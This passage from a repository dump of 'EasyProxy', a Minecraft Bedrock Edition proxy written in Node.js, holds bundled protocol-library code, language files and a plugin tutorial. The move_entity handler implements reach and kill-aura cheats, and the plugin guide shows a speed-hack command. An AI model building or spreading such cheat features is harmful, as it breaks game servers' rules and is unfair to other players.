██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const MobEffectPacket = require("../packet/MobEffectPacket"); 16 | const EffectMap = require("../effect/EffectMap"); 17 | 18 | class EffectManager 19 | { 20 | player; 21 | 22 | effects = []; 23 | 24 | constructor(Player) 25 | { 26 | this.player=Player; 27 | } 28 | 29 | getAll() 30 | { 31 | return this.effects; 32 | } 33 | 34 | /** 35 | * 36 | * @param effect {Effect} 37 | */ 38 | add(effect) 39 | { 40 | let pk = new MobEffectPacket(this.player); 41 | pk.create(EffectMap.ADD, effect.getID(), effect.getDuration(), effect.getAmplifier(), effect.isVisible()); 42 | this.effects.push(effect.getID()); 43 | } 44 | 45 | remove(id) 46 | { 47 | let pk = new MobEffectPacket(this.player); 48 | pk.create(EffectMap.REMOVE, id, 0, 0, false); 49 | this.effects.pop(id); 50 | } 51 | 52 | has(id) 53 | { 54 | return this.effects.includes(id); 55 | } 56 | } 57 | module.exports = EffectManager; -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "bedrock-protocol", 3 | "version": "3.22.0", 4 | "description": "Minecraft Bedrock Edition protocol library", 5 | "main": "index.js", 6 | "scripts": { 7 | "build": "cd tools && node compileProtocol.js", 8 | "test": "mocha --bail --exit", 9 | "pretest": "npm run lint", 10 | "lint": "standard", 11 | "vanillaServer": "node tools/startVanillaServer.js", 12 | "dumpPackets": "node tools/genPacketDumps.js", 13 | "fix": "standard --fix" 14 | }, 15 | "keywords": [ 16 | "minecraft", 17 | "bedrock", 18 | "pocket-edition", 19 | "protocol" 20 | ], 21 | "license": "MIT", 22 | "dependencies": { 23 | "debug": "^4.3.1", 24 | "jsonwebtoken": "^8.5.1", 25 | "jsp-raknet": "^2.1.3", 26 | "minecraft-data": "^3.0.0", 27 | "minecraft-folder-path": "^1.2.0", 28 | "prismarine-auth": "^2.0.0", 29 | "prismarine-nbt": "^2.0.0", 30 | "prismarine-realms": "^1.1.0", 31 | "protodef": "^1.14.0", 32 | "raknet-native": "^1.0.3", 33 | "uuid-1345": "^1.0.2" 34 | }, 35 | "optionalDependencies": { 36 | "raknet-node": "^0.5.0" 37 | }, 38 | "devDependencies": { 39 | "bedrock-protocol": "file:.", 40 | "bedrock-provider": "^2.0.0", 41 | "leveldb-zlib": "^1.0.1", 42 | "mocha": "^10.0.0", 43 | "protodef-yaml": "^1.1.0", 44 | "standard": "^17.0.0-2" 45 | }, 46 | "repository": { 47 | "type": "git", 48 | "url": "git+https://github.com/PrismarineJS/bedrock-protocol.git" 49 | }, 50 | "bugs": { 51 | "url": "https://github.com/PrismarineJS/bedrock-protocol/issues" 52 | }, 53 | "homepage": "https://github.com/PrismarineJS/bedrock-protocol#readme" 54 | } 55 | -------------------------------------------------------------------------------- /software/src/network/receive/MoveEntityPacket.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | name: "move_entity", 3 | 4 | /** 5 | * @param Player {Player} 6 | * @param packet {Packet} 7 | */ 8 | receive(Player, packet) 9 | { 10 | let position = packet.params.position; 11 | if(packet.params.runtime_entity_id === Player.getUniqueID())return; 12 | 13 | if(Player.getCheatManager().isReach() && Player.getPosition().distance(position) <= Player.getCheatManager().getReachValue()) 14 | { 15 | let directionVector = Player.getPosition().getDirectionVector(); 16 | for(let i = 0.0; i <= Player.getCheatManager().getReachValue(); i++){ 17 | let x = directionVector.x * i + Player.getPosition().getX(); 18 | let y = directionVector.y * i + Player.getPosition().getY(); 19 | let z = directionVector.z * i + Player.getPosition().getZ(); 20 | if( 21 | Math.round(x) === Math.round(position.x) && 22 | Math.round(y) === Math.round(position.y) && 23 | Math.round(z) === Math.round(position.z) 24 | ) { 25 | Player.getCheatManager().setHasAttackPossible(true); 26 | Player.getCheatManager().setAttackPossible({id: packet.params.runtime_entity_id, reach: i, position: position}); 27 | } 28 | } 29 | } 30 | 31 | if(Player.getCheatManager().isKillAura() && Player.getPosition().distance(position) <= Player.getCheatManager().getKillAuraOptions()["reach"]) { 32 | for (let i = 0; i <= Player.getCheatManager().getKillAuraOptions()["cps"]; i++){ 33 | Player.attack(packet.params.runtime_entity_id); 34 | } 35 | } 36 | } 37 | } -------------------------------------------------------------------------------- /software/src/command/CommandMap.js: -------------------------------------------------------------------------------- 1 | const Path = require("path"); 2 | const Logger = require("../logger/Logger"); 3 | const {getLangConfig} = require("../ServerInfo"); 4 | const ServerInfo = require("../ServerInfo"); 5 | let commands = []; 6 | class CommandMap 7 | { 8 | registerDefault(command) 9 | { 10 | if(ServerInfo.getServer().messages) Logger.debug(getLangConfig()["command"]["registered-success"].replace("{COMMAND}", command.getName())); 11 | commands.push(command); 12 | } 13 | 14 | /** 15 | * @deprecated 16 | * @see registerCommand() 17 | * 18 | * @param folder 19 | */ 20 | register(folder) 21 | { 22 | let req = require(Path.join(folder)); 23 | let command = new req(); 24 | if(this.existCommand(command))return false; 25 | if(ServerInfo.getServer().messages) Logger.debug(getLangConfig()["command"]["registered-success"].replace("{COMMAND}", command.getName())); 26 | commands.push(command); 27 | } 28 | 29 | /** 30 | * 31 | * @param command {Command} 32 | */ 33 | registerCommand(command) 34 | { 35 | if(this.existCommand(command))return false; 36 | if(ServerInfo.getServer().messages) Logger.debug(getLangConfig()["command"]["registered-success"].replace("{COMMAND}", command.getName())); 37 | commands.push(command); 38 | } 39 | 40 | unregisterCommand(command) 41 | { 42 | if(!this.existCommand(command))return false; 43 | delete (commands[command]); 44 | } 45 | 46 | existCommand(command) 47 | { 48 | return commands[command] !== undefined; 49 | } 50 | 51 | getAll() 52 | { 53 | return commands; 54 | } 55 | } 56 | module.exports = { 57 | getInstance() 58 | { 59 | return new CommandMap(); 60 | } 61 | } -------------------------------------------------------------------------------- /software/src/ServerInfo.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const ServerData = require('../../server.json'); 16 | const LangConfig = require(`./lang/${ServerData["lang"]}.json`); 17 | const {Config} = require("./utils/Config"); 18 | 19 | let LangConfiguration; 20 | 21 | let ServersData = []; 22 | 23 | /** 24 | * @param server {Server} 25 | */ 26 | let server; 27 | module.exports = 28 | { 29 | /** @param str {string} */ 30 | setServer(str) 31 | { 32 | server=str; 33 | }, 34 | 35 | getServer() 36 | { 37 | return server; 38 | }, 39 | 40 | getLangConfig() 41 | { 42 | return LangConfig; 43 | }, 44 | 45 | getLangConfiguration() 46 | { 47 | if(LangConfiguration === undefined) LangConfiguration = new Config(process.cwd() + `/src/lang/${ServerData["lang"]}.json`); 48 | return LangConfiguration; 49 | }, 50 | 51 | getLang() 52 | { 53 | return ServerData["lang"]; 54 | }, 55 | 56 | getGlobalData() 57 | { 58 | return ServerData; 59 | }, 60 | 61 | setServerDataByID(id ,data) 62 | { 63 | ServersData[id]=data; 64 | }, 65 | 66 | getServerDataByID(id) 67 | { 68 | return ServersData[id]; 69 | } 70 | } -------------------------------------------------------------------------------- /software/src/form/CustomForm.js: -------------------------------------------------------------------------------- 1 | const FormID = require("./FormID"); 2 | const Logger = require("../logger/Logger"); 3 | const Form = require("./Form"); 4 | 5 | class CustomForm extends Form 6 | { 7 | type = "custom_form"; 8 | 9 | content = []; 10 | 11 | constructor(callable) 12 | { 13 | super(callable); 14 | } 15 | 16 | /** 17 | * @param text {string} 18 | * @param placeholder {string} 19 | * @param $default {string|null} 20 | */ 21 | addInput(text, placeholder = "", $default = null) 22 | { 23 | this.addContent({type: "input", text: text, placeholder: placeholder, default: $default}); 24 | } 25 | 26 | /** 27 | * @param text {string} 28 | */ 29 | addLabel(text) 30 | { 31 | this.addContent({type: "label", text: text}); 32 | } 33 | 34 | /** 35 | * @param text {string} 36 | * @param options {array} 37 | * @param $default {number} 38 | */ 39 | addDropdown(text, options, $default = -1) 40 | { 41 | this.addContent({type: "dropdown", text: text, options: options, default: $default}); 42 | } 43 | 44 | /** 45 | * @param text {string} 46 | * @param $default {boolean|null} 47 | */ 48 | addToggle(text, $default = null) 49 | { 50 | this.addContent({type: "toggle", text: text, default: $default}); 51 | } 52 | 53 | addSlider(text, min, max, step = -1, $default = -1) 54 | { 55 | this.addContent({type: "slider", text: text, min: min, max: max, step: step, default: $default}); 56 | } 57 | 58 | addStepSlider(text, steps, $default = -1) 59 | { 60 | this.addContent({type: "step_slider", text: text, steps: steps, default: $default}); 61 | } 62 | 63 | /** 64 | * @param obj {Object} 65 | */ 66 | addContent(obj) 67 | { 68 | this.content.push(obj); 69 | } 70 | } 71 | module.exports = CustomForm; -------------------------------------------------------------------------------- /software/src/lang/eng.json: -------------------------------------------------------------------------------- 1 | { 2 | "server-start": "Server has been started successfully on {SERVER}!", 3 | "destination": "Destination: {DESTINATION-SERVER}", 4 | 5 | "player": { 6 | "add-player": "Added player {PLAYER}", 7 | "remove-player": "Removed player {PLAYER}" 8 | }, 9 | 10 | "command": { 11 | "registered-success": "{COMMAND} has been registered successfully!", 12 | "unknown-command": "Unknown command: {COMMAND}. Use help for a list of available commands." 13 | }, 14 | 15 | "config": { 16 | "invalid-type": "Sorry, the configuration type {FILE_TYPE} is not taken into account by our software!" 17 | }, 18 | 19 | "server": { 20 | "loading": "Loading server configuration", 21 | "lang": "Selected {LANG} as the base language", 22 | "starting": "Starting Minecraft: Bedrock Edition proxy version v{VERSION}", 23 | "error-ping": "Error with pingRaknet, server is offline...", 24 | "running": "This proxy is running {NAME} version {VERSION}", 25 | "shutdown": "Shutdown of the server", 26 | "started": "Done ({SEC}s)!", 27 | "can-start": { 28 | "development-build": "Sorry, your server failed to start because you are using a development version of EasyProxy, you have set the configuration to prohibit development versions!" 29 | } 30 | }, 31 | 32 | "cheats": { 33 | "autoWord": { 34 | "confirm": "§aCode find! Send a message to send code!", 35 | "send": "§aCode send!", 36 | "elapsed-time": "§cElapsed time" 37 | } 38 | }, 39 | "pack": { 40 | "load": "Loading resource packs...", 41 | "loaded": "{COUNT} packs loaded!", 42 | "loading": "Loading {PACK}..." 43 | }, 44 | 45 | "plugin": { 46 | "loading": "Loading {PLUGIN} {VERSION}", 47 | "enabling": "Enabling {PLUGIN} {VERSION}", 48 | "disabling": "Disabling {PLUGIN} {VERSION}", 49 | "invalid-api": "Plugin {PLUGIN} does not have the right API!" 50 | } 51 | } -------------------------------------------------------------------------------- /software/src/lang/fra.json: -------------------------------------------------------------------------------- 1 | { 2 | "server-start": "Serveur démarré sur {SERVER}!", 3 | "destination": "Destination: {DESTINATION-SERVER}", 4 | 5 | "player": { 6 | "add-player": "Ajout du joueur {PLAYER}", 7 | "remove-player": "Suppression du joueur {PLAYER}" 8 | }, 9 | 10 | "command": { 11 | "registered-success": "{COMMAND} enregistrée!", 12 | "unknown-command": "Commande inconnue: {COMMAND}. Use help for a list of available commands." 13 | }, 14 | 15 | "config": { 16 | "invalid-type": "Désolé, le type de configuration {FILE_TYPE} n'est pas pris en compte par EasyProxy!" 17 | }, 18 | 19 | "server": { 20 | "loading": "Chargement de la configuration du serveur", 21 | "lang": "Sélection de la langue {LANG} par défaut", 22 | "starting": "Démarrage de Minecraft: Bedrock Edition proxy version v{VERSION}", 23 | "error-ping": "Erreur avec pingRaknet, serveur hors-ligne...", 24 | "running": "Le proxy fait fonctionner {NAME} version {VERSION}", 25 | "shutdown": "Arrêt du serveur", 26 | "started": "Prêt ({SEC}s)!", 27 | "can-start": { 28 | "development-build": "Désolé, votre serveur n'a pas pu démarrer car vous utilisez un build dev, vous devez changer la configuration pour accepter les builds de dev!" 29 | } 30 | }, 31 | 32 | "cheats": { 33 | "autoWord": { 34 | "confirm": "§aCode trouvé! Envoyé un message pour envoyer le code!", 35 | "send": "§aCode envoyé!", 36 | "elapsed-time": "§cTemps écoulé" 37 | } 38 | }, 39 | "pack": { 40 | "load": "Chargement des packs de ressources...", 41 | "loaded": "{COUNT} packs chargés!", 42 | "loading": "Chargement du pack {PACK}..." 43 | }, 44 | 45 | "plugin": { 46 | "loading": "Chargement du plugin {PLUGIN} {VERSION}", 47 | "enabling": "Activation du plugin {PLUGIN} {VERSION}", 48 | "disabling": "Désactivation du plugin {PLUGIN} {VERSION}", 49 | "invalid-api": "Le plugin {PLUGIN} n'utilise pas la bonne API!" 50 | } 51 | } -------------------------------------------------------------------------------- /software/src/packet/AddEntityPacket.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const {Player} = require("../player/Player"); 16 | 17 | class AddEntityPacket 18 | { 19 | player; 20 | 21 | /** @param Player {Player} */ 22 | constructor(Player) 23 | { 24 | this.player=Player; 25 | } 26 | 27 | /** 28 | * @param id {number} 29 | * @param entity_type {string} 30 | * @param position {Position} 31 | * @param velocity {Object} 32 | * @param pitch {number} 33 | * @param yaw {number} 34 | * @param body_yaw {number} 35 | * @param attributes {Array} 36 | * @param metadata {Array} 37 | * @param properties {Object} 38 | * @param links {Array} 39 | */ 40 | create(id, entity_type, position, velocity, pitch, yaw, body_yaw, attributes, metadata, properties, links) 41 | { 42 | this.player.getBedrockPlayer().queue('add_entity', { 43 | unique_id: id, 44 | runtime_id: id, 45 | entity_type: entity_type, 46 | position: position, 47 | velocity: velocity, 48 | pitch: pitch, 49 | yaw: yaw, 50 | head_yaw: yaw, 51 | body_yaw: body_yaw, 52 | attributes: attributes, 53 | metadata: metadata, 54 | properties: properties, 55 | links: links 56 | }); 57 | } 58 | } 59 | 60 | module.exports = AddEntityPacket; -------------------------------------------------------------------------------- /software/src/entity/EntityManager.js: -------------------------------------------------------------------------------- 1 | let entities = []; 2 | 3 | let GLOBAL_ID = 9000000000; 4 | 5 | module.exports = { 6 | 7 | /** 8 | * Push your entity 9 | * @param entity {Entity} 10 | */ 11 | register(entity) 12 | { 13 | if(existEntityByID(entity.getID()))return console.debug(`[ENTITY] : ${entity.getName()} is already registered!`); 14 | entities.push(entity); 15 | }, 16 | 17 | /** 18 | * @param entity {Entity} 19 | */ 20 | unregister(entity) 21 | { 22 | if(!existEntityByID(entity.getID()))return console.debug(`[ENTITY] : ${entity.getName()} is not registered!`); 23 | entities.pop(entity); 24 | }, 25 | 26 | getAll() 27 | { 28 | return entities; 29 | }, 30 | 31 | existEntityByID(id) 32 | { 33 | let entity = false; 34 | entities.forEach(entity_class => { 35 | if(entity_class.getID() === id) entity=true; 36 | }); 37 | return entity; 38 | }, 39 | 40 | getEntityByID(id) 41 | { 42 | let entity; 43 | entities.forEach(entity_class => { 44 | if(entity_class.getID() === id) entity=entity_class; 45 | }); 46 | return entity; 47 | }, 48 | 49 | getEntityByName(name) 50 | { 51 | let entity; 52 | entities.forEach(entity_class => { 53 | if(entity_class.getName() === name) entity=entity_class; 54 | }); 55 | return entity; 56 | }, 57 | 58 | existEntityByName(name) 59 | { 60 | let entity = false; 61 | entities.forEach(entity_class => { 62 | if(entity_class.getName() === name) entity=true; 63 | }); 64 | return entity; 65 | }, 66 | 67 | getNextID() 68 | { 69 | GLOBAL_ID++; 70 | return GLOBAL_ID; 71 | } 72 | } 73 | 74 | function existEntityByID(id) 75 | { 76 | let entity = false; 77 | entities.forEach(entity_class => { 78 | if(entity_class.getID() === id) entity=true; 79 | }); 80 | return entity; 81 | } -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/src/datatypes/varlong.js: -------------------------------------------------------------------------------- 1 | function sizeOfVarLong (value) { 2 | if (typeof value.valueOf() === 'object') { 3 | value = (BigInt(value[0]) << 32n) | BigInt(value[1]) 4 | } else if (typeof value !== 'bigint') value = BigInt(value) 5 | 6 | let cursor = 0 7 | while (value > 127n) { 8 | value >>= 7n 9 | cursor++ 10 | } 11 | return cursor + 1 12 | } 13 | 14 | /** 15 | * Reads a 64-bit VarInt as a BigInt 16 | */ 17 | function readVarLong (buffer, offset) { 18 | let result = BigInt(0) 19 | let shift = 0n 20 | let cursor = offset 21 | let size = 0 22 | 23 | while (true) { 24 | if (cursor + 1 > buffer.length) { throw new Error('unexpected buffer end') } 25 | const b = buffer.readUInt8(cursor) 26 | result |= (BigInt(b) & 0x7fn) << shift // Add the bits to our number, except MSB 27 | cursor++ 28 | if (!(b & 0x80)) { // If the MSB is not set, we return the number 29 | size = cursor - offset 30 | break 31 | } 32 | shift += 7n // we only have 7 bits, MSB being the return-trigger 33 | if (shift > 63n) throw new Error(`varint is too big: ${shift}`) 34 | } 35 | 36 | return { value: result, size } 37 | } 38 | 39 | /** 40 | * Writes a zigzag encoded 64-bit VarInt as a BigInt 41 | */ 42 | function writeVarLong (value, buffer, offset) { 43 | // if an array, turn it into a BigInt 44 | if (typeof value.valueOf() === 'object') { 45 | value = BigInt.asIntN(64, (BigInt(value[0]) << 32n)) | BigInt(value[1]) 46 | } else if (typeof value !== 'bigint') value = BigInt(value) 47 | 48 | let cursor = 0 49 | while (value > 127n) { // keep writing in 7 bit slices 50 | const num = Number(value & 0xFFn) 51 | buffer.writeUInt8(num | 0x80, offset + cursor) 52 | cursor++ 53 | value >>= 7n 54 | } 55 | buffer.writeUInt8(Number(value), offset + cursor) 56 | return offset + cursor + 1 57 | } 58 | 59 | module.exports = { 60 | Read: { varint64: ['native', readVarLong] }, 61 | Write: { varint64: ['native', writeVarLong] }, 62 | SizeOf: { varint64: ['native', sizeOfVarLong] } 63 | } 64 | -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/tools/compileProtocol.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Pre-compiles JS code from the schema for easier development. 3 | * You can run this with `npm run build` 4 | */ 5 | const fs = require('fs') 6 | const { ProtoDefCompiler } = require('protodef').Compiler 7 | const { convert } = require('minecraft-data/minecraft-data/tools/js/compileProtocol') 8 | const mcData = require('minecraft-data') 9 | const { join } = require('path') 10 | // Filter versions we support 11 | const versions = mcData.versions.bedrock.filter(e => e.releaseType === 'release').map(e => e.minecraftVersion) 12 | 13 | // Compile the ProtoDef JSON into JS 14 | function createProtocol (version) { 15 | const compiler = new ProtoDefCompiler() 16 | const protocol = mcData('bedrock_' + version).protocol.types 17 | compiler.addTypes(require('../src/datatypes/compiler-minecraft')) 18 | compiler.addTypes(require('prismarine-nbt/compiler-zigzag')) 19 | compiler.addTypesToCompile(protocol) 20 | 21 | fs.writeFileSync('./read.js', 'module.exports = ' + compiler.readCompiler.generate().replace('() =>', 'native =>')) 22 | fs.writeFileSync('./write.js', 'module.exports = ' + compiler.writeCompiler.generate().replace('() =>', 'native =>')) 23 | fs.writeFileSync('./size.js', 'module.exports = ' + compiler.sizeOfCompiler.generate().replace('() =>', 'native =>')) 24 | 25 | const compiledProto = compiler.compileProtoDefSync() 26 | return compiledProto 27 | } 28 | 29 | function main (ver = 'latest') { 30 | // Put the .js files into the data/ dir, we also use the data dir when dumping packets for tests 31 | const dir = join(__dirname, '/../data/', ver) 32 | if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }) 33 | process.chdir(dir) 34 | console.log('Generating JS...', ver) 35 | createProtocol(ver) 36 | } 37 | 38 | require('minecraft-data/bin/generate_data') 39 | 40 | // If no argument, build everything 41 | if (!process.argv[2]) { 42 | convert('latest') 43 | for (const version of versions) { 44 | main(version) 45 | } 46 | } else { // build the specified version 47 | main(process.argv[2]) 48 | } 49 | -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/types/Item.js: -------------------------------------------------------------------------------- 1 | const { Versions } = require('../src/options') 2 | 3 | module.exports = (version) => 4 | class Item { 5 | nbt 6 | constructor (obj) { 7 | this.networkId = 0 8 | this.runtimeId = 0 9 | this.count = 0 10 | this.metadata = 0 11 | Object.assign(this, obj) 12 | this.version = version 13 | } 14 | 15 | static fromBedrock (obj) { 16 | if (Versions[version] >= Versions['1.16.220']) { 17 | return new Item({ 18 | networkId: obj.network_id, 19 | stackId: obj.stack_id, 20 | blockRuntimeId: obj.block_runtime_id, 21 | count: obj.count, 22 | metadata: obj.metadata, 23 | nbt: obj.extra.nbt 24 | }) 25 | } else { 26 | return new Item({ 27 | networkId: obj.runtime_id, 28 | sackId: obj.item?.network_id, 29 | count: obj.item?.auxiliary_value & 0xff, 30 | metadata: obj.item?.auxiliary_value >> 8, 31 | nbt: obj.item?.nbt?.nbt 32 | }) 33 | } 34 | } 35 | 36 | toBedrock () { 37 | if (Versions[version] >= Versions['1.16.220']) { 38 | return { 39 | network_id: this.networkId, 40 | count: this.count, 41 | metadata: this.metadata, 42 | has_stack_id: this.stackId, 43 | stack_id: this.stackId, 44 | extra: { 45 | has_nbt: !!this.nbt, 46 | nbt: { version: 1, nbt: this.nbt }, 47 | can_place_on: [], 48 | can_destroy: [], 49 | blocking_tick: 0 50 | } 51 | } 52 | } else { 53 | return { 54 | runtime_id: this.runtimeId, 55 | item: { 56 | network_id: this.networkId, 57 | auxiliary_value: (this.metadata << 8) | (this.count & 0xff), 58 | has_nbt: !!this.nbt, 59 | nbt: { version: 1, nbt: this.nbt }, 60 | can_place_on: [], 61 | can_destroy: [], 62 | blocking_tick: 0 63 | } 64 | } 65 | } 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /software/help/PLUGIN.MD: -------------------------------------------------------------------------------- 1 | # How to create a Plugin ? 2 | It's quite simple, just follow the instructions below. 3 | 4 | Step 1: To start, you need to create a new folder in the **resources/plugin/** directory. 5 | 6 | Step 2: Create a file called plugin.json Then enter the information below *(This is of course an example)* 7 | ```json 8 | { 9 | "name": "ExemplePlugin", 10 | "author": "Zwuiix", 11 | "api": "1.0.1", 12 | "version": 1, 13 | "main": "src/Zwuiix/Main", 14 | "description": "This is a exemple plugin!" 15 | } 16 | ``` 17 | 18 | Step 3: Create your main files (src & your name) 19 | 20 | Step 4: Create your main file, which for my part is called Main 21 | 22 | Step 5: Once your main file created, enter the following information 23 | ```javascript 24 | const PluginBase = require("../../../../../src/plugin/PluginBase"); 25 | const CommandMap = require("../../../../../src/command/CommandMap"); 26 | 27 | class Main extends PluginBase 28 | { 29 | onEnable() 30 | { 31 | CommandMap.getInstance().register(this.getDataPlugin() + '/src/Zwuiix/commands/SpeedCommand.js'); 32 | } 33 | } 34 | module.exports = Main; 35 | ``` 36 | 37 | Step 6: Once this is done, we will create the speed command that we recorded above 38 | 39 | Step 7: So we will create the commands folder and once created go inside and create the file SpeedCommand.js 40 | 41 | ```javascript 42 | const Command = require("../../../../../../src/command/Command"); 43 | class SpeedCommand extends Command 44 | { 45 | constructor() 46 | { 47 | // NAME DESCRIPTION USAGE ALIASES 48 | super("speed", "edit your speed", 'speed ', []); 49 | } 50 | 51 | onRun(Player, args) 52 | { 53 | // args[0] = "//speed" 54 | if(isNaN(args[1])) return Player.sendMessage("Arg 1 must be int"); 55 | Player.getCheatManager().setSpeedHackValue(parseFloat(args[1])); 56 | Player.getCheatManager().setSpeedHack(true); 57 | } 58 | } 59 | module.exports = SpeedCommand; 60 | ``` 61 | 62 | Step 8: And that's it, if you have followed all the steps, you just have to launch your proxy and test your plugin! -------------------------------------------------------------------------------- /software/src/plugin/PluginBase.js: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * ███████╗ █████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗██╗ ██╗ 4 | * ██╔════╝██╔══██╗██╔════╝╚██╗ ██╔╝██╔══██╗██╔══██╗██╔═══██╗╚██╗██╔╝╚██╗ ██╔╝ 5 | * █████╗ ███████║███████╗ ╚████╔╝ ██████╔╝██████╔╝██║ ██║ ╚███╔╝ ╚████╔╝ 6 | * ██╔══╝ ██╔══██║╚════██║ ╚██╔╝ ██╔═══╝ ██╔══██╗██║ ██║ ██╔██╗ ╚██╔╝ 7 | * ███████╗██║ ██║███████║ ██║ ██║ ██║ ██║╚██████╔╝██╔╝ ██╗ ██║ 8 | * ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ 9 | * 10 | * Release by EasyProxy's Project! 11 | * Github: https://https://github.com/Zwuiix-cmd/EasyProxy 12 | * 13 | */ 14 | 15 | const ServerInfo = require("../ServerInfo"); 16 | const fs = require("fs"); 17 | const Path = require("path"); 18 | class PluginBase 19 | { 20 | name; 21 | description; 22 | author; 23 | api; 24 | version; 25 | main; 26 | pluginFolder; 27 | dataFolder; 28 | 29 | constructor(name, description, author, api, version, main, pluginFolder, dataFolder) 30 | { 31 | this.name=name; 32 | this.description=description; 33 | this.author=author; 34 | this.api=api; 35 | this.version=version; 36 | this.main=main; 37 | this.pluginFolder=pluginFolder; 38 | this.dataFolder=dataFolder; 39 | 40 | try {fs.mkdirSync(dataFolder);}catch (e){} 41 | } 42 | 43 | getName() 44 | { 45 | return this.name; 46 | } 47 | 48 | getDescription() 49 | { 50 | return this.description; 51 | } 52 | 53 | getAuthor() 54 | { 55 | return this.author; 56 | } 57 | 58 | getApi() 59 | { 60 | return this.api; 61 | } 62 | 63 | getVersion() 64 | { 65 | return this.version; 66 | } 67 | 68 | getDataFolder() 69 | { 70 | return this.dataFolder; 71 | } 72 | 73 | getDataPlugin() 74 | { 75 | return this.pluginFolder; 76 | } 77 | 78 | server() 79 | { 80 | return ServerInfo.getServer(); 81 | } 82 | 83 | onEnable() 84 | { 85 | // TODO: Plugin start 86 | } 87 | 88 | onDisable() 89 | { 90 | // TODO: Plugin disable 91 | } 92 | } 93 | module.exports = PluginBase; -------------------------------------------------------------------------------- /software/src/command/ConsoleCommand.js: -------------------------------------------------------------------------------- 1 | const readline = require('readline'); 2 | const ServerInfo = require("../ServerInfo"); 3 | const Logger = require("../logger/Logger"); 4 | const CommandMap = require("./CommandMap"); 5 | const ConsoleSender = require("../ConsoleSender"); 6 | const {getLangConfiguration} = require("../ServerInfo"); 7 | const PluginManager = require("../plugin/PluginManager"); 8 | const TextFormat = require("../format/TextFormat"); 9 | const r = readline.createInterface({ 10 | input: process.stdin, 11 | output: process.stdout 12 | }); 13 | 14 | class ConsoleCommand 15 | { 16 | constructor() 17 | { 18 | r.setPrompt('> '); 19 | r.prompt(true); 20 | r.on('line', (data) => { 21 | switch (data.toLowerCase()){ 22 | case "stop": 23 | ServerInfo.getServer().shutdown(); 24 | break; 25 | case "cls": 26 | case "clear": 27 | console.clear(); 28 | break; 29 | case "plugin": 30 | let pluginList = PluginManager.getAll(); 31 | let plugins = []; 32 | pluginList.forEach((plugin) => { 33 | plugins.push(plugin.getName()); 34 | }); 35 | let listA = plugins.join("§f, §d"); 36 | Logger.info(`Here is the plugin list (${plugins.length}): ${listA}`); 37 | break; 38 | case "list": 39 | let playersList = ServerInfo.getServer().getPlayers(); 40 | let players = []; 41 | playersList.forEach((player) => { 42 | players.push(player.getName()); 43 | }); 44 | let listB = players.join(", "); 45 | Logger.info(`There are ${ServerInfo.getServer().getPlayers().length} player(s) connected:\n${listB}`); 46 | break; 47 | default: 48 | Logger.warn(getLangConfiguration().getNested("command.unknown-command").replace("{COMMAND}", data[0])); 49 | break; 50 | } 51 | r.prompt(true); 52 | }); 53 | } 54 | } 55 | module.exports = ConsoleCommand; -------------------------------------------------------------------------------- /software/node_modules/bedrock-protocol/src/rakWorker.js: -------------------------------------------------------------------------------- 1 | const { Worker, isMainThread, parentPort } = require('worker_threads') 2 | const { Client, 